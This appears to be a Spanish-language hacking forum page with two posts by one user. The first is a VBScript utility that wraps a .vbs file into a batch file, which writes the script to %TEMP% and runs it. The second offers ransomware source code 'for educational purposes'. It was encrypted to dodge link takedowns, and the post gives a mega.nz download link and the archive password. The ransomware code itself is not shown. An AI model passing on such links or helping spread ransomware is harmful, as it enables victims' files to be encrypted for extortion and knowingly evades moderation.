  30. Set objFSO = CreateObject( "Scripting.FileSystemObject" )
  31.  
  32. If strFileNameIN = "" Then
  33. 'File browse dialog box (XP only) (NFG in 7/2008, Thank you MS!)
  34. On Error Resume Next
  35. Set objDialog = CreateObject( "UserAccounts.CommonDialog" )
  36. If Err Then
  37. strFileNameIN = ""
  38. WScript.Echo "No file specified."
  39. Else
  40. objDialog.Filter = "All Files|*.*"
  41. objDialog.InitialDir = wshShell.CurrentDirectory
  42. intResult = objDialog.ShowOpen
  43. If intResult = 0 Then
  44. strFileNameIN = ""
  45. wshShell.Popup "No file selected.", 1, " ", 64
  46. Else
  47. strFileNameIN = objDialog.FileName
  48. End If
  49. Set objDialog = Nothing
  50. End If
  51.  
  52. Set objDialog = Nothing
  53. On Error Goto 0
  54. End If
  55.  
  56. If strFileNameIN = "" Then Syntax
  57.  
  58. strFileNameOUT = objFSO.GetParentFolderName( strFileNameIN ) & objFSO.GetBaseName( strFileNameIN ) & "_CONVERTED.CMD"
  59.  
  60. 'Check if strFileNameOUT exists already
  61. If objFSO.FileExists( strFileNameOUT ) Then  'does the file EXIST?
  62. If blnQuiet Then
  63. WScript.Echo "Deleting existing file."
  64. objFSO.DeleteFile( strFileNameOUT )
  65. Else
  66. intOVRWT = MsgBox( strFileNameOUT & " exists already" & vbCrLf & "Overwrite?", vbYesNoCancel, "Overwrite?" )
  67. If intOVRWT = 6 Then
  68. 'proceed
  69. objFSO.DeleteFile( strFileNameOUT )
  70. Else
  71. wshShell.Popup "Exiting as requested.", 1, " ", 64
  72. WScript.Quit
  73. End If
  74. End If
  75. End If
  76.  
  77.  
  78. 'open strFileNameANSI file, and put entire file into a variable
  79. Set objFile = objFSO.OpenTextFile( strFileNameIN, ForReading )
  80. strText = objFile.ReadAll
  81. objFile.Close
  82.  
  83. '************ Start converting *************
  84. '^  Escape character.
  85. ' Adding the escape character before a command symbol
  86. ' allows it to be treated as ordinary text.
  87. 'When piping or redirecting any of these charcters you should
  88. 'prefix with the escape ^ character: \ & | > < ^
  89. 'e.g.  ^\  ^&  ^|  ^>  ^<  ^^
  90.  
  91. '# Escape out ^ symbols (Must be 1st !!!)
  92. strOldText = "^"
  93. strNewText = "^^"
  94. strText = Replace( strText, strOldText, strNewText )
  95.  
  96. '# Escape out \ symbols
  97. 'strOldText = "\"
  98. 'strNewText = "^\"
  99. 'strText = Replace( strText, strOldText, strNewText )
  100.  
  101. '# Escape out & symbols
  102. strOldText = "&"
  103. strNewText = "^&"
  104. strText = Replace( strText, strOldText, strNewText )
  105.  
  106. '# Escape out | symbols
  107. strOldText = "|"
  108. strNewText = "^|"
  109. strText = Replace( strText, strOldText, strNewText )
  110.  
  111. '# Escape out > symbols
  112. strOldText = ">"
  113. strNewText = "^>"
  114. strText = Replace(strText, strOldText, strNewText)
  115.  
  116. '# Escape out < symbols
  117. strOldText = "<"
  118. strNewText = "^<"
  119. strText = Replace( strText, strOldText, strNewText )
  120.  
  121. 'Converting into array
  122. 'Dim arrVBStext()
  123. arrVBStext = Split( strText, vbCrLf ) 'create one-dimensional array
  124.  
  125. strFileName = objFSO.GetFileName( strFileNameIN )
  126. strBaseFileName = objFSO.GetBaseName( strFileNameIN )
  127. strCMDout = ""
  128. strCMDout = strCMDout & "@ECHO OFF" & vbCrLf
  129. strCMDout = strCMDout & "Call :" & strBaseFileName & vbCrLf
  130. strCMDout = strCMDout & vbCrLf
  131. strCMDout = strCMDout & vbCrLf
  132. strCMDout = strCMDout & "REM Prevent running the " & strFileName & " twice" & vbCrLf
  133. strCMDout = strCMDout & "Exit /b 0" & vbCrLf
  134.  
  135. strCMDout = strCMDout & ":" & strBaseFileName & vbCrLf
  136.  
  137. strCMDout = strCMDout & "REM  This will create a file called " & strFileName & " in %TEMP%" & vbCrLf
  138. strCMDout = strCMDout & "REM" & vbCrLf
  139. strCMDout = strCMDout & "REM  The following will overwite any pre-existing file called %TEMP%\" & strFileName & vbCrLf
  140. strCMDout = strCMDout & "echo.> %TEMP%\" & strFileName & vbCrLf
  141. 'Add  Echo  in front and  >> %TEMP%\<VBSNAME>.VBS at the end of every line
  142. For Each strVBSline in arrVBStext
  143. If Trim( strVBSline ) = "" Then
  144. strCMDout = strCMDout & "echo. >> %TEMP%\" & strFileName & vbCrLf
  145. Else
  146. strCMDout = strCMDout & "echo " & strVBSline & " >> %TEMP%\" & strFileName & vbCrLf
  147. End If
  148. Next
  149. strCMDout = strCMDout & "Cscript.exe //NoLogo ""%TEMP%\" & strFileName & """" & vbCrLf
  150. strCMDout = strCMDout & "Exit /b 0" & vbCrLf
  151. 'Converting done
  152.  
  153. 'Write to file
  154. Set objFile = objFSO.OpenTextFile( strFileNameOUT, ForAppending, True )
  155. objFile.WriteLine strCMDout
  156.  
  157. objFile.Close
  158.  
  159. If blnQuiet Then
  160. WScript.Echo "created " & strFileNameOUT
  161. Else
  162. wshShell.Popup "created " & strFileNameOUT, 3, "Completed", 64
  163. End If
  164.  
  165. Set objFile = Nothing
  166. Set wshShell = Nothing
  167. Set objFSO = Nothing
  168.  
  169.  
  170. Sub Syntax
  171. Dim strMsg
  172. strMsg = vbCrLf _
  173.       & "Como usarlo:  VBS2CMD.VBS  archivo-vbscript.vbs  [ /Q ]" & vbCrLf & vbCrLf _
  174.       & "Donde:  archivo-vbscript.vbs  es el archivo a ser ""convertido""" & vbCrLf _
  175.       & "                           (necesario en todas las versiones excepto en XP XP)" & vbCrLf _
  176.       & "        /Q                 Evita los dialogos"
  177. WScript.Echo strMsg
  178. WScript.Quit 1
  179. End Sub


Como usar :

code batch para usar.

Código
  1. @echo off
  2. VBS2CMD.vbs nombre-de-tu-vbs.vbs
  3. pause

                                          COMENTEN

10  Seguridad Informática / Análisis y Diseño de Malware / Ransomware (SOURCE CODE) en: 30 Septiembre 2017, 03:45
hola a todos los del foro .

hoy comparto con ustedes un Ransomware  creado con "fines educativos"  :silbar:

bueno cifre el code con una herramienta que cree hace unos dias muy util. para que no me tumben el link.

si les interesa la herramienta para cifrar es: Batch Archive Security

http://foro.elhacker.net/scripting/batch_aporte_batch_archive_security_ponle_contrasena_a_tus_archivos-t475058.0.html

BUENO SIN MAS QUE DECIR EL CÓDIGO DEL Ransomware :

https://mega.nz/#!8892SSYJ!X29F4hlIUTC-gWNmtL9mKWwVNOU4byyEYrE0FgeEPPc

DESCARGAN EL BATCH Y LES PEDIRA UNA CONTRASEÑA.

la contraseña es:   123456

despues presionamos enter y listo les aparecera un zip que contiene el código del Ransomware.
                                                    COMENTEN
Páginas: [1] 2 3 4
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines